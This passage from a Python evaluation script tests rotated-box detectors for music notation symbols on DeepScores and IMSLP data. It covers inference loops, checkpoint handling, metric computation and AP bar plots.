'LoadImageFromFile'},\n        {\n            'type': 'MultiScaleFlipAug',\n            'img_scale': 1.0,\n            'flip': False,\n            'transforms': [\n                {'type': 'RotatedResize', 'img_scale': 1.0, 'keep_ratio': True},\n                {'type': 'RotatedRandomFlip'},\n                {'type': 'Normalize', 'mean': [240, 240, 240], 'std': [57, 57, 57], 'to_rgb': False},\n                {'type': 'Pad', 'size_divisor': 32},\n                {'type': 'ImageToTensor', 'keys': ['img']},\n                {'type': 'Collect', 'keys': ['img']}\n            ]\n        }\n    ],\n    'use_oriented_bboxes': True\n}\nTEST_SETS = [DEEPSCORES_TEST_SET, IMSLP_TEST_SET]\n\nclass_names = (\n    'brace', 'ledgerLine', 'repeatDot', 'segno', 'coda', 'clefG', 'clefCAlto', 'clefCTenor', 'clefF',\n    'clefUnpitchedPercussion', 'clef8', 'clef15', 'timeSig0', 'timeSig1', 'timeSig2', 'timeSig3', 'timeSig4',\n    'timeSig5', 'timeSig6', 'timeSig7', 'timeSig8', 'timeSig9', 'timeSigCommon', 'timeSigCutCommon',\n    'noteheadBlackOnLine', 'noteheadBlackOnLineSmall', 'noteheadBlackInSpace', 'noteheadBlackInSpaceSmall',\n    'noteheadHalfOnLine', 'noteheadHalfOnLineSmall', 'noteheadHalfInSpace', 'noteheadHalfInSpaceSmall',\n    'noteheadWholeOnLine', 'noteheadWholeOnLineSmall', 'noteheadWholeInSpace', 'noteheadWholeInSpaceSmall',\n    'noteheadDoubleWholeOnLine', 'noteheadDoubleWholeOnLineSmall', 'noteheadDoubleWholeInSpace',\n    'noteheadDoubleWholeInSpaceSmall', 'augmentationDot', 'stem', 'tremolo1', 'tremolo2', 'tremolo3', 'tremolo4',\n    'tremolo5', 'flag8thUp', 'flag8thUpSmall', 'flag16thUp', 'flag32ndUp', 'flag64thUp', 'flag128thUp', 'flag8thDown',\n    'flag8thDownSmall', 'flag16thDown', 'flag32ndDown', 'flag64thDown', 'flag128thDown', 'accidentalFlat',\n    'accidentalFlatSmall', 'accidentalNatural', 'accidentalNaturalSmall', 'accidentalSharp', 'accidentalSharpSmall',\n    'accidentalDoubleSharp', 'accidentalDoubleFlat', 'keyFlat', 'keyNatural', 'keySharp', 'articAccentAbove',\n    'articAccentBelow', 'articStaccatoAbove', 'articStaccatoBelow', 'articTenutoAbove', 'articTenutoBelow',\n    'articStaccatissimoAbove', 'articStaccatissimoBelow', 'articMarcatoAbove', 'articMarcatoBelow', 'fermataAbove',\n    'fermataBelow', 'caesura', 'restDoubleWhole', 'restWhole', 'restHalf', 'restQuarter', 'rest8th', 'rest16th',\n    'rest32nd', 'rest64th', 'rest128th', 'restHNr', 'dynamicP', 'dynamicM', 'dynamicF', 'dynamicS', 'dynamicZ',\n    'dynamicR', 'graceNoteAcciaccaturaStemUp', 'graceNoteAppoggiaturaStemUp', 'graceNoteAcciaccaturaStemDown',\n    'graceNoteAppoggiaturaStemDown', 'ornamentTrill', 'ornamentTurn', 'ornamentTurnInverted', 'ornamentMordent',\n    'stringsDownBow', 'stringsUpBow', 'arpeggiato', 'keyboardPedalPed', 'keyboardPedalUp', 'tuplet3', 'tuplet6',\n    'fingering0', 'fingering1', 'fingering2', 'fingering3', 'fingering4', 'fingering5', 'slur', 'beam', 'tie',\n    'restHBar', 'dynamicCrescendoHairpin', 'dynamicDiminuendoHairpin', 'tuplet1', 'tuplet2', 'tuplet4', 'tuplet5',\n    'tuplet7', 'tuplet8', 'tuplet9', 'tupletBracket', 'staff', 'ottavaBracket'\n)\n\n\nGREEN = 32\nYELLOW = 33\nBLUE = 34\nRED = 31\n\n\ndef msg(s: str, level: int, color: int):\n    if level == 0:\n        print(f\"\\033[1;{color}m=>\\033[m {s}\\033[m\")\n    else:\n        print(f\"  \\033[1;{color}m{'-' * level}>\\033[m {s}\\033[m\")\n\ndef msg1(s: str):\n    msg(s, 0, GREEN)\n\ndef msg2(s: str):\n    msg(s, 1, BLUE)\n\ndef msg3(s: str):\n    msg(s, 2, BLUE)\n\ndef msg4(s: str):\n    msg(s, 3, BLUE)\n\nWARN = f\"\\033[1;{YELLOW}m\"\ndef warn(s: str, level: int):\n    msg(f\"{WARN}{s}\\033[m\", level, YELLOW)\n\ndef warn1(s: str):\n    warn(s, 0)\n\ndef warn2(s: str):\n    warn(s, 1)\n\ndef warn3(s: str):\n    warn(s, 2)\n\ndef warn4(s: str):\n    warn(s, 3)\n\nERR = f\"\\033[1;{RED}m\"\ndef err(s: str, level: int):\n    msg(f\"{ERR}{s}\\033[m\", level, RED)\n\ndef err1(s: str):\n    err(s, 0)\n\ndef err2(s: str):\n    err(s, 1)\n\ndef err3(s: str):\n    err(s, 2)\n\ndef err4(s: str):\n    err(s, 3)\n\n\ndef _postprocess_bboxes(img, boxes, labels):\n    img = PImage.fromarray(img)\n    proposal_list = [{'proposal': np.append(box[:5], class_names[int(label) + 1])} for box, label in zip(boxes, labels)]\n    processed_proposals = prototype_alignment._process_single(img, proposal_list,\n                                                              whitelist=[\"key\", \"clef\", \"accidental\", \"notehead\"])\n    new_boxes = np.zeros(boxes.shape)\n    new_boxes[..., :5] = np.stack(processed_proposals)\n    if new_boxes.shape[1] == 6:\n        # copy scores\n        new_boxes[..., 5] = boxes[..., 5]\n    return new_boxes\n\ndef _post_process_bbox_list(img, bbox_list, cfg):\n    img = img.cpu().numpy().astype(\"uint8\")\n    img = img.transpose(1, 2, 0)\n    scale = 1 / cfg['test_pipeline'][1]['img_scale']\n    img = cv2.resize(img, dsize=(int(img.shape[1] * scale), int(img.shape[0] * scale)))\n    boxes = bbox_list[0][0].cpu().numpy()\n    labels = bbox_list[0][1].cpu().numpy()\n\n    boxes_new = _postprocess_bboxes(img, boxes, labels)\n    boxes_new = torch.from_numpy(boxes_new)\n    return boxes_new\n\n\ndef round_results(result):\n    result[:, :4] = torch.round(result[:, :4])\n    result[:, 5] = torch.round(result[:, 5] * 1000) / 1000\n    return result\n\n\ndef single_gpu_test(model, data_loader, show=False, cfg=None, post_process=False, round_=False):\n    model.eval()\n    results = []\n    dataset = data_loader.dataset\n    prog_bar = mmcv.ProgressBar(len(dataset))\n    for i, data in enumerate(data_loader):\n        with torch.no_grad():\n            result, bbox_list = model(return_loss=False, rescale=not show, **data)\n\n        if post_process:\n            img = data['img'][0][0]\n            boxes = _post_process_bbox_list(img, bbox_list, cfg)\n        else:\n            boxes = bbox_list[0][0]\n\n        if round_:\n            boxes = round_results(boxes)\n\n        result = bbox2result(boxes, bbox_list[0][1], num_classes=cfg['model']['bbox_head']['num_classes'])\n\n        results.append(result)\n        if show:\n            print(\"asdf\")\n            # for nr, sub_list in enumerate(bbox_list):\n            #    bbox_list[nr] = [rotated_box_to_poly_np(sub_list[0].cpu().numpy()), sub_list[1].cpu().numpy()]\n\n            model.module.show_result(data, result, show=show, dataset=dataset.CLASSES,\n                                     bbox_transform=rotated_box_to_poly_np, score_thr=cfg.test_cfg['score_thr'])\n            # typo in bbox_transorm -> bbox_transform?\n\n        batch_size = data['img'][0].size(0)\n        for _ in range(batch_size):\n            prog_bar.update()\n    return results\n\n\ndef multi_gpu_test(model, data_loader, tmpdir=None, cfg=None, post_process=False, round_=False):\n    model.eval()\n    results = []\n    dataset = data_loader.dataset\n    rank, world_size = get_dist_info()\n    if rank == 0:\n        prog_bar = mmcv.ProgressBar(len(dataset))\n    for i, data in enumerate(data_loader):\n        with torch.no_grad():\n            result, bbox_list = model(return_loss=False, rescale=True, **data)\n\n        if post_process:\n            img = data['img'][0][0]\n            boxes = _post_process_bbox_list(img, bbox_list, cfg)\n        else:\n            boxes = bbox_list[0][0]\n\n        if round_:\n            boxes = round_results(boxes)\n\n        result = bbox2result(boxes, bbox_list[0][1], num_classes=cfg['model']['bbox_head']['num_classes'])\n\n        results.append(result)\n\n        if rank == 0:\n            batch_size = data['img'][0].size(0)\n            for _ in range(batch_size * world_size):\n                prog_bar.update()\n\n    # collect results from all ranks\n    results = collect_results(results, len(dataset), tmpdir)\n\n    return results\n\n\ndef collect_results(result_part, size, tmpdir=None):\n    rank, world_size = get_dist_info()\n    # create a tmp dir if it is not specified\n    if tmpdir is None:\n        MAX_LEN = 512\n        # 32 is whitespace\n        dir_tensor = torch.full((MAX_LEN,),\n                                32,\n                                dtype=torch.uint8,\n                                device='cuda')\n        if rank == 0:\n            tmpdir = tempfile.mkdtemp()\n            tmpdir = torch.tensor(\n                bytearray(tmpdir.encode()), dtype=torch.uint8, device='cuda')\n            dir_tensor[:len(tmpdir)] = tmpdir\n        dist.broadcast(dir_tensor, 0)\n        tmpdir = dir_tensor.cpu().numpy().tobytes().decode().rstrip()\n    else:\n        mmcv.mkdir_or_exist(tmpdir)\n    # dump the part result to the dir\n    mmcv.dump(result_part, osp.join(tmpdir, 'part_{}.pkl'.format(rank)))\n    dist.barrier()\n    # collect all parts\n    if rank != 0:\n        return None\n    else:\n        # load results of all parts from tmp dir\n        part_list = []\n        for i in range(world_size):\n            part_file = osp.join(tmpdir, 'part_{}.pkl'.format(i))\n            part_list.append(mmcv.load(part_file))\n        # sort the results\n        ordered_results = []\n        for res in zip(*part_list):\n            ordered_results.extend(list(res))\n        # the dataloader may pad some samples\n        ordered_results = ordered_results[:size]\n        # remove tmp dir\n        shutil.rmtree(tmpdir)\n        return ordered_results\n\n\ndef parse_args():\n    parser = ArgumentParser(description='MMDet test detector')\n    parser.add_argument('config', help='test config file path')\n    parser.add_argument('--checkpoints', nargs='+',\n                        help='checkpoint files', required=True)\n    parser.add_argument('--out', help='output result file', default='eval.pkl')\n    parser.add_argument(\n        '--json_out',\n        help='output result file name without extension',\n        type=str)\n    parser.add_argument(\n        '--eval',\n        type=str,\n        nargs='+',\n        choices=['proposal', 'proposal_fast', 'bbox', 'segm', 'keypoints'],\n        help='eval types')\n    parser.add_argument('--show', action='store_true', help='show results')\n    parser.add_argument('--tmpdir', help='tmp dir for writing some results')\n    parser.add_argument(\n        '--launcher',\n        choices=['none', 'pytorch', 'slurm', 'mpi'],\n        default='none',\n        help='job launcher')\n    parser.add_argument('--local_rank', type=int, default=0)\n    # add dataset type for more dataset eval other than coco\n    parser.add_argument(\n        '--data',\n        choices=['coco', 'dota', 'dota_large', 'dota_hbb', 'hrsc2016', 'voc', 'dota_1024', 'dsv2'],\n        default='dota',\n        type=str,\n        help='eval dataset type')\n    parser.add_argument(\n        '--cache', '-c',\n        action='store_true',\n        default=False,\n        help='Use cached results/metrics/evaluations instead of recalculating'\n    )\n    parser.add_argument(\n        '--postprocess', '-p',\n        action='store_true',\n        default=False,\n        help='post-process the results'\n    )\n    parser.add_argument(\n        '--round', '-r',\n        action='store_true',\n        default=False,\n        help='round the results (similar to detection service)'\n    )\n    args = parser.parse_args()\n    if 'LOCAL_RANK' not in os.environ:\n        os.environ['LOCAL_RANK'] = str(args.local_rank)\n    return args\n\n\ndef config_from_str(cfg_str: str, path: Path = None) -> Config:\n    if path is None:\n        path = Path(cfg_str.splitlines()[0])\n    if cfg_str.startswith(str(path)):\n        cfg_str = cfg_str[len(str(path)) + 1:]\n    with tempfile.NamedTemporaryFile('w', suffix='.py') as fp:\n        fp.write(cfg_str)\n        fp.seek(0)\n        config = Config.fromfile(fp.name)\n        cfg_txt = str(config.text).replace(fp.name + \"\\n\", '')\n    return Config(getattr(config, '_cfg_dict'), cfg_txt, str(path))\n\n\n@lru_cache()\ndef get_test_set(test_config: str) -> DataLoader:\n    cfg = json.loads(test_config)\n    msg2(f\"Loading \\033[1m{Path(cfg['ann_file']).name}\\033[m ({cfg['type']})\")\n    return build_dataset(cfg)\n\ndef get_test_sets(*test_configs: Config, workers_per_gpu: int = 4, imgs_per_gpu: int = 1, distributed: bool = False) -> List[DataLoader]:\n    data_loaders = []\n    for test_config in test_configs:\n        data_loaders.append(build_dataloader(\n            get_test_set(json.dumps(test_config)),\n            imgs_per_gpu=imgs_per_gpu,\n            workers_per_gpu=workers_per_gpu,\n            dist=distributed,\n            shuffle=False\n        ))\n    return data_loaders\n\n\ndef create_plots(stats: DataFrame, dataset_names: List[str], overlap: np.float, folder: Path):\n    print('=' * 30)\n    CLASSES = {\n        'clefs': {'clefG', 'clefCAlto', 'clefCTenor', 'clefF', 'clef8', 'clef15'},\n        'noteheads': {'noteheadBlackOnLine', 'noteheadBlackInSpace', 'noteheadHalfOnLine', 'noteheadHalfInSpace',\n                      'noteheadWholeOnLine', 'noteheadWholeInSpace', 'noteheadDoubleWholeOnLine',\n                      'noteheadDoubleWholeInSpace'},\n        'accidentals': {'accidentalFlat', 'accidentalNatural', 'accidentalSharp', 'accidentalDoubleSharp',\n                        'accidentalDoubleFlat'},\n        'keys': {'keyFlat', 'keyNatural', 'keySharp'},\n        'rests': {'restDoubleWhole', 'restWhole', 'restHalf', 'restQuarter', 'rest8th', 'rest16th', 'rest32nd',\n                  'rest64th', 'rest128th'},\n        'beams': {'beam'},\n        'all classes': set(class_names)\n    }\n    n_datasets = len(dataset_names)\n    chkpnt_names = [s.split(' - ')[0] for s in stats.index[::n_datasets]]\n    for name, classes in CLASSES.items():\n        im_fp = folder / f'AP_{name.replace(\" \", \"_\")}_{overlap:.2f}.png'\n        im_fp.unlink(missing_ok=True)\n        msg3(f\"Plotting \\033[1m{name}\\033[m\")\n        sub_stats = stats[list(classes)]\n        all_aps = sub_stats.to_numpy()\n        # Only use columns where there is no NaN values\n        non_nan_aps = all_aps.T[~np.isnan(all_aps.sum(axis=0))].T\n        if non_nan_aps.shape[1] == 0:\n            err4(\"No values to compare\")\n            continue\n        mean_aps = non_nan_aps.mean(axis=1).reshape((len(chkpnt_names), n_datasets))\n        fig, ax = plt.subplots(figsize=(15, 9))\n        X = np.arange(len(chkpnt_names))\n        incr = 0.4\n        center_offset = (incr * (len(dataset_names) - 1)) / 2\n        for i, (ds_name, col, mean_ap) in enumerate(\n                zip(dataset_names, itertools.cycle(['b', 'r', 'g', 'y', 'c', 'm']), mean_aps.T)):\n            r = ax.bar(X + incr * i - center_offset, mean_ap, color=col, width=incr,\n                       label=f'{ds_name} ({stats[\"samples\"][i]} samples)')\n            ax.bar_label(r, padding=3)\n        ax.set_ylabel('AP')\n        ax.set_title(f'AP of {name} by model and training set (overlap = {overlap:.2f})')\n        plt.xticks(X, chkpnt_names, rotation=10, horizontalalignment='right', fontsize='small')\n        ax.legend()\n        fig.tight_layout()\n        plt.savefig(im_fp)\n        # msg3(f'Saved plot to \\033[1m{str(im_fp)}\\033[m')\n        # plt.show()\n        plt.close(fig)\n\n\ndef compile_stats(stats: dict, overlap: np.float, index: list) -> DataFrame:\n    overlap_stats = {}\n    for cls, overlap_aps in stats.items():\n        if cls == 'samples':\n            overlap_stats['samples'] = stats['samples']\n        else:\n            overlap_stats[cls] = []\n            for overlap_ap in overlap_aps:\n                overlap_stats[cls].append(overlap_ap.get(overlap, np.NaN))\n    return DataFrame(overlap_stats, index=index)\n\n\ndef plot_stats(overlaps: np.ndarray, folder: Path, stats: dict, index: list, dataset_names: list):\n    for overlap in overlaps:\n        msg2(f\"Processing stats for overlap = \\033[1m{overlap:.2f}\\033[m\")\n        eval_fp = folder / f'eval_{overlap:.2f}.csv'\n        stat_df = compile_stats(stats, overlap, index)\n        msg2(f\"Saving stats to \\033[1m{eval_fp}\\033[m\")\n        stat_df.to_csv(eval_fp)\n        create_plots(stat_df, dataset_names, overlap, folder)\n\n\ndef from_checkpoint(checkpoint_file: Path, cfg: Config) -> Tuple[str, dict, Sequential]:\n    model = build_detector(cfg.model, train_cfg=None, test_cfg=cfg.test_cfg)\n    fp16_cfg = cfg.get('fp16', None)\n    if fp16_cfg is not None:\n        wrap_fp16_model(model)\n\n    try:\n        checkpoint = load_checkpoint(model, str(checkpoint_file), map_location='cpu')\n    except RuntimeError as e:\n        err2(f\"!!! Failed loading checkpoint \\033[1m{str(checkpoint_file)}\\033[m{ERR}: {e}\")\n        return\n\n    if 'config' in checkpoint['meta'].keys():\n        cfg_str = checkpoint['meta']['config']\n        chkp_cfg = config_from_str(cfg_str)\n        config_file = Path(chkp_cfg.filename)\n        parents = [config_file.name]\n        for parent in config_file.parents:\n            parents.append(parent.name)\n            if parent.name == 'configs':\n                break\n            if parent.name == '/':\n                raise Exception(\"Did not find configs dir\")\n        config_file = Path(*reversed(parents))\n        msg3(\n            f\"Original config: \\033[1m{config_file.name}\\033[m (epoch: \\033[1m{checkpoint['meta']['epoch']}\\033[m)\")\n        checkpoint_id = config_file.name\n    else:\n        warn3(\"No original config found\")\n        checkpoint_id = f\"{checkpoint_file.parent.parent.name}_{checkpoint_file.parent.name}\"\n    return checkpoint_id, checkpoint, model\n\n\ndef preprocess_checkpoints(checkpoint_list: List[str], cfg: Config) -> dict:\n    msg1(\"Preprocessing checkpoints\")\n    checkpoints = {}\n    for checkpoint_file in map(Path, checkpoint_list):\n        if not checkpoint_file.exists():\n            warn2(f\"!!! Checkpoint file \\033[1m{str(checkpoint_file)}\\033[m{WARN} does not exist\")\n            continue\n        if checkpoint_file.is_file():\n            msg2(f\"Pre-loading checkpoint \\033[1m{str(checkpoint_file)}\\033[m\")\n            checkpoint_id, checkpoint, model = from_checkpoint(checkpoint_file, cfg)\n\n            other_ckpnt_file, other_ckpnt, other_model = checkpoints.get(checkpoint_id, (None, None, None))\n            if other_ckpnt is not None:\n                # Select the model of the same config with the highest epoch\n                if int(checkpoint['meta']['epoch']) >= int(other_ckpnt['meta']['epoch']):\n                    warn4(\n                        f\"Replaces model with same config: epoch \\033[1m{other_ckpnt['meta']['epoch']}\\033[m >= \\033[1m{checkpoint['meta']['epoch']}\\033[m\")\n                else:\n                    checkpoint_file, checkpoint, model = other_ckpnt_file, other_ckpnt, other_model\n                    warn4(\n                        f\"Ignored model with same config: epoch\\033[1m {other_ckpnt['meta']['epoch']}\\033[m <= \\033[1m{checkpoint['meta']['epoch']}\\033[m\")\n            checkpoints[checkpoint_id] = checkpoint_file, checkpoint, model\n        elif checkpoint_file.is_dir():\n            # Multimodel\n            msg2(f\"Pre-loading multi-models from \\033[1m{str(checkpoint_file)}\\033[m\")\n            checkpoint_id = checkpoint_file.name\n            checkpoint_data = []\n            for multi_checkpoint_file in checkpoint_file.glob('*.pth'):\n                checkpoint_sub_id, checkpoint, model = from_checkpoint(multi_checkpoint_file, cfg)\n                checkpoint_data.append((checkpoint_sub_id, multi_checkpoint_file, checkpoint, model))\n            checkpoints[checkpoint_id] = checkpoint_data\n        else:\n            raise Exception(f\"Checkpoint {str(checkpoint_file)} is neither a file nor a folder\")\n    return checkpoints\n\n\ndef prepare_folder(checkpoint_id: str, checkpoint, checkpoint_file: Path, out_folder: Path) -> Tuple[str, Path, dict, list]:\n    cfg_str, config_file = None, None\n    kwargs = {'workers_per_gpu': 4}\n    if 'config' in checkpoint['meta'].keys():\n        cfg_str = checkpoint['meta']['config']\n        chkp_cfg = config_from_str(cfg_str)\n        kwargs['workers_per_gpu'] = chkp_cfg.data.workers_per_gpu\n        config_file = Path(chkp_cfg.filename)\n        assert config_file.suffix == '.py'\n        epoch = checkpoint['meta']['epoch']\n        time = parse(checkpoint['meta']['time'])\n        print('#' * 30)\n        msg1(\n            f\"Loaded checkpoint \\033[1m{checkpoint_file.name}\\033[m (\\033[1m{epoch}\\033[m epochs, created: {str(time)})\")\n        checkpoint_id = f\"{config_file.stem}_epoch_{epoch}\"\n    else:\n        msg1(f\"Loaded checkpoint \\033[1m{checkpoint_file.name}\\033[m\")\n        suffix = checkpoint_file.stem.split('_')[-1]\n        epoch_str = ''\n        if suffix.isdigit():\n            epoch = int(suffix)\n            warn2(f\"Assuming epoch to be {epoch}\")\n            epoch_str = f\"_epoch_{epoch}\"\n        checkpoint_id = checkpoint_id + epoch_str\n\n    chkp_folder = out_folder / checkpoint_id\n    chkp_folder.mkdir(parents=True, exist_ok=True)\n    if cfg_str is not None and config_file is not None:\n        with open(chkp_folder / config_file.name, 'w') as fp:\n            fp.write(f\"# {cfg_str}\")\n        msg2(f\"Extracted original configuration to \\033[1m{config_file.name}\\033[m\")\n\n    test_sets = []\n    for test_set in TEST_SETS:\n        new_test_set = test_set.copy()\n        if chkp_cfg is not None:\n            new_test_set['type'] = chkp_cfg.data.test.type\n        test_sets.append(new_test_set)\n\n    # Link original checkpoint\n    new_chkpnt = chkp_folder / checkpoint_file.name\n    if new_chkpnt.is_symlink():\n        new_chkpnt.unlink()\n    new_chkpnt.symlink_to(os.path.relpath(checkpoint_file, new_chkpnt.parent))\n\n    return checkpoint_id, chkp_folder, kwargs, test_sets\n\n\ndef save_proposal_stats(proposals: dict, prop_stat_fp: Path, data_loader: DataLoader):\n    prop_stats = {}\n    for proposal in proposals['proposals']:\n        cat_id = int(proposal['cat_id'])\n        cat = data_loader.dataset.CLASSES[cat_id - 1]\n        x, y, w, h, a = poly_to_rotated_box_single(list(map(float, proposal['bbox'])))\n        a *= 180.0 / math.pi\n        prop_stats[cat] = prop_stats.get(cat, []) + [a]\n    prop_data = {}\n    for i, cat in enumerate(data_loader.dataset.CLASSES):\n        angles = prop_stats.get(cat, [])\n        prop_data[cat] = (len(angles), np.mean(angles), np.std(angles))\n        # print(f'[{i + 1}] {cat} ({len(angles)}): avg:{np.mean(angles):.02f}, std: {np.std(angles):.02f}')\n    csv_data = pandas.DataFrame(prop_data, index=('occurrences', 'avg', 'std')).transpose()\n    csv_data.to_csv(prop_stat_fp)\n\n\ndef get_proposals(checkpoint: dict, cfg: Config, model: Sequential, data_loader: DataLoader, proposals_fp: Path, args: Namespace) -> list:\n    # old versions did not save class info in checkpoints, this workaround is\n    # for backward compatibility\n    if 'CLASSES' in checkpoint['meta']:\n        model.CLASSES = checkpoint['meta']['CLASSES']\n    else:\n        model.CLASSES = data_loader.dataset.CLASSES\n\n    if not proposals_fp.exists() or not args.cache:\n        proposals_fp.parent.mkdir(exist_ok=True)\n        msg3(f\"Testing model on \\033[1m{Path(data_loader.dataset.ann_file).stem}\\033[m\")\n        distributed = args.launcher != 'none'\n        if not distributed:\n            model = MMDataParallel(model, device_ids=[0])\n            output = single_gpu_test(model, data_loader, args.show, cfg, args.postprocess, args.round)\n        else:\n            model = MMDistributedDataParallel(model.cuda())\n            output = multi_gpu_test(model, data_loader, args.tmpdir, cfg, args.postprocess, args.round)\n        print()  # The tests use ncurses and don't append a new line at the end\n\n        msg3(f'Writing proposals to \\033[1m{str(proposals_fp)}\\033[m')\n        mmcv.dump(output, proposals_fp)\n        save_predictions(output, proposals_fp.with_name(args.json_out), data_loader, args)\n    else:\n        msg3(f'Reading proposals from \\033[1m{str(proposals_fp)}\\033[m')\n        output = mmcv.load(proposals_fp)\n    return output\n\n\ndef save_predictions(predictions, result_file: Path, data_loader: DataLoader, args):\n    # Save predictions in the COCO json format\n    rank, _ = get_dist_info()\n    if args.json_out and rank == 0:\n        #if not result_file.with_suffix('.bbox.json').exists() or not args.cache:\n        msg3(f\"Saving predictions to \\033[1m{str(result_file.with_suffix('.*'))}\\033[m\")\n        if not isinstance(predictions[0], dict):\n            result_file = result_file.with_suffix('')\n            if not result_file.with_suffix('.bbox.json').exists() or not args.cache:\n                results2json(data_loader.dataset, predictions, result_file)\n            result_file = result_file.with_suffix('.bbox.json')  # function sets custom suffix\n        else:\n            for name in predictions[0]:\n                result_file = result_file.with_suffix(f'.{name}{result_file.suffix}')\n                outputs_ = [out[name] for out in predictions]\n                if not result_file.exists() or not args.cache:\n                    results2json(data_loader.dataset, outputs_, result_file)\n        standard_results_fp = result_file.with_name(args.json_out)\n        if not standard_results_fp.exists() or not args.cache:\n            data_loader.dataset.write_results_json(outputs_rotated_box_to_poly_np(predictions), filename=str(standard_results_fp))\n\n\ndef evaluate_proposals(proposals, cfg: Config, checkpoint_file: Path, overlaps: np.ndarray, data_loader: DataLoader, result_folder: Path, args) -> list:\n    eval_types = args.eval\n    data_name = args.data\n    ensure_8_tuple(proposals)\n    if data_name == 'coco':\n        if eval_types:\n            if eval_types == ['proposal_fast']:\n                result_file = args.out\n                coco_eval(result_file, eval_types, data_loader.dataset.coco)\n            else:\n                if not isinstance(proposals[0], dict):\n                    result_files = results2json(data_loader.dataset, proposals, args.out)\n                    coco_eval(result_files, eval_types, data_loader.dataset.coco)\n                else:\n                    for name in proposals[0]:\n                        proposals = [out[name] for out in proposals]\n                        result_file = args.out + '.{}'.format(name)\n                        result_files = results2json(data_loader.dataset, proposals, result_file)\n                        coco_eval(result_files, eval_types, data_loader.dataset.coco)\n    elif data_name in ['dota', 'hrsc2016']:\n        eval_kwargs = cfg.get('evaluation', {}).copy()\n        work_dir = osp.dirname(args.out)\n        metrics = data_loader.dataset.evaluate(proposals, work_dir=work_dir, **eval_kwargs)\n    elif data_name in ['dsv2']:\n        from mmdet.core import outputs_rotated_box_to_poly_np\n\n        for page in proposals:\n            page.insert(0, np.array([]))\n\n        proposals = outputs_rotated_box_to_poly_np(proposals)\n\n        metrics_fp = result_folder / \"dsv2_metrics.pkl\"\n        result_file = None\n        if args.json_out is not None:\n            result_file = result_folder / args.json_out\n        needs_to_be_exported = False\n        if not metrics_fp.exists() or not args.cache:\n            msg3(\n                f\"Evaluating: \\033[1m{str(checkpoint_file)}\\033[m on \\033[1m{data_loader.dataset.ann_file}\\033[m in \\033[1m{str(result_folder)}\\033[m\")\n            data_loader.dataset.evaluate(\n                proposals,\n                result_json_filename=str(result_file) if result_file is not None else None,\n                work_dir=str(result_folder),\n                iou_thrs=overlaps\n            )  # Extremely slow...\n            needs_to_be_exported = True\n        msg3(f'Reading calculated metrics from \\033[1m{str(metrics_fp)}\\033[m')\n        metrics = mmcv.load(metrics_fp)\n\n        prop_stat_fp = result_folder / 'proposal_stats.csv'\n        if (result_file is not None and not prop_stat_fp.exists()) or needs_to_be_exported:\n            msg3(f\"Calculating statistics for results -> {prop_stat_fp.name}\")\n            with open(result_file, 'r') as fp:\n                save_proposal_stats(json.load(fp), prop_stat_fp, data_loader)\n    return metrics\n\n\ndef eval_checkpoint(\n        cfg,\n        model,\n        checkpoint_id: str,\n        checkpoint_file: Path,\n        checkpoint: dict,\n        out_folder: Path,\n        proposals_fp: Path,\n        overlaps: np.ndarray,\n        stats: dict,\n        index: list,\n        dataset_names: list,\n        outputs_m: dict,\n        metrics: dict,\n        distributed: bool,\n        args\n):\n    sub_index = []\n    overlaps_str = str(overlaps).replace(\"\\n\", \"\")\n    checkpoint_file = Path(checkpoint_file)\n    chkp_cfg = None\n    checkpoint_id, chkp_folder = prepare_folder(checkpoint_id, checkpoint, checkpoint_file, out_folder)\n\n    new_chkpnt = chkp_folder / checkpoint_file.name\n    if new_chkpnt.is_symlink():\n        new_chkpnt.unlink()\n    new_chkpnt.symlink_to(os.path.relpath(checkpoint_file, new_chkpnt.parent))\n\n    test_sets = []\n    workers_per_gpu = 4\n    if chkp_cfg is not None:\n        workers_per_gpu = chkp_cfg.data.workers_per_gpu\n    for test_set in TEST_SETS:\n        new_test_set = test_set.copy()\n        if chkp_cfg is not None:\n            new_test_set['type'] = chkp_cfg.data.test.type\n        test_sets.append(new_test_set)\n\n    sub_stats = defaultdict(list)\n    for data_loader in get_test_sets(\n            *test_sets,\n            workers_per_gpu=workers_per_gpu,\n            distributed=distributed):\n        sub_stats['samples'].append(len(data_loader.dataset.img_ids))\n        stats['samples'].append(len(data_loader.dataset.img_ids))\n        ann_file = Path(data_loader.dataset.ann_file)\n        msg2(f\"Selecting dataset: \\033[1m{ann_file.stem}\\033[m\")\n        sub_index.append(f\"{checkpoint_id} - {ann_file.stem}\")\n        result_folder = chkp_folder / ann_file.stem\n        result_folder.mkdir(exist_ok=True)\n\n        outputs_m[checkpoint_file] = {}\n        outputs_m[checkpoint_file][data_loader] = get_proposals(checkpoint, cfg, model, data_loader, result_folder / proposals_fp, distributed, args)\n\n\n        metrics = evaluate_proposals(outputs_m[checkpoint_file][data_loader], cfg, checkpoint_file, overlaps, data_loader, result_folder, args)\n        eval_types = args.eval\n        data_name = args.data\n        if data_name == 'coco':\n            if eval_types:\n                if eval_types == ['proposal_fast']:\n                    result_file = args.out\n                    coco_eval(result_file, eval_types, data_loader.dataset.coco)\n                else:\n                    if not isinstance(outputs_m[checkpoint_file][data_loader][0], dict):\n                        result_files = results2json(data_loader.dataset, outputs_m[checkpoint_file][data_loader],\n                                                    args.out)\n                        coco_eval(result_files, eval_types, data_loader.dataset.coco)\n                    else:\n                        for name in outputs_m[checkpoint_file][data_loader][0]:\n                            outputs_m[checkpoint_file][data_loader] = [out[name] for out in\n                                                                       outputs_m[checkpoint_file][data_loader]]\n                            result_file = args.out + '.{}'.format(name)\n                            result_files = results2json(data_loader.dataset, outputs_m[checkpoint_file][data_loader],\n                                                        result_file)\n                            coco_eval(result_files, eval_types, data_loader.dataset.coco)\n        elif data_name in ['dota', 'hrsc2016']:\n            eval_kwargs = cfg.get('evaluation', {}).copy()\n            work_dir = osp.dirname(args.out)\n            data_loader.dataset.evaluate(outputs_m[checkpoint_file][data_loader], work_dir=work_dir, **eval_kwargs)\n        elif data_name in ['dsv2']:\n            from mmdet.core import outputs_rotated_box_to_poly_np\n\n            for page in outputs_m[checkpoint_file][data_loader]:\n                page.insert(0, np.array([]))\n\n            outputs_m[checkpoint_file][data_loader] = outputs_rotated_box_to_poly_np(\n                outputs_m[checkpoint_file][data_loader])\n\n        metrics_fp = result_folder / \"dsv2_metrics.pkl\"\n        result_file = None\n        if args.json_out is not None:\n            result_file = result_folder / args.json_out\n        needs_to_be_exported = False\n        if not metrics_fp.exists() or not args.cache:\n            msg3(\n                f\"Evaluating: \\033[1m{str(checkpoint_file)}\\033[m on \\033[1m{data_loader.dataset.ann_file}\\033[m in \\033[1m{str(result_folder)}\\033[m\")\n            data_loader.dataset.evaluate(\n                outputs_m[checkpoint_file][data_loader],\n                result_json_filename=str(result_file) if 